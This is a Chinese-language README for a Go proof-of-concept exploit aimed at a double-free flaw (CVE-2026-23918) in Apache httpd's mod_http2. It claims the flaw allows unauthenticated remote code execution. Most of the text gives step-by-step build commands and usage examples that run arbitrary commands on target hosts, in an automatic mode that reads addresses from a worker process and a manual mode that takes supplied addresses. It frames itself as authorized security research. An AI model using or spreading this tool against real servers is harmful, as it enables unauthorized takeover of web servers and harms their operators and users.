
基于 Go 的概念验证漏洞利用程序,针对 Apache httpd mod_http2 中的 CVE-2026-23918 双重释放漏洞,通过内存喷射与触发序列实现未授权远程代码执行。
本仓库包含一个使用 Go 编写的概念验证实现,针对 Apache httpd 中 mod_http2 的预认证内存破坏场景。本仓库中的代码演示了针对易受攻击目标的喷射-触发(spray-and-trigger)方法,旨在用于经授权的安全研究、测试和防御性分析。
该项目聚焦于 CVE-2026-23918 的概念验证利用,并在 exploit_poc.go 中提供了单文件实现。该程序:
本仓库不适用于对第三方系统的未授权使用。
在构建或运行 PoC 之前,请确保满足以下条件:
使用以下命令构建二进制文件:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
这将在项目根目录下生成一个名为 exploit 的可执行文件。


该 PoC 支持两种操作模式:
此模式需要 root 权限,并自动从目标 Apache worker 进程中提取所需的内存地址。
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
此模式需要手动提供 system 函数和 scoreboard 请求槽的地址。
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
主要选项如下:
--host - 目标主机名或 IP 地址--port - 目标端口(默认值:443)--workers - 喷射工作线程数(默认值:32)--cmd - 要在目标上执行的命令--pid - 用于自动内存地址提取的 Apache worker 进程 ID--system - 手动模式下 system 符号的地址--scoreboard - 手动模式下 scoreboard 请求槽的地址sudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
本仓库仅供教育目的和防御性安全评估使用。在受控且经授权的环境之外的任何使用均不受鼓励,并可能违反适用的法律或政策。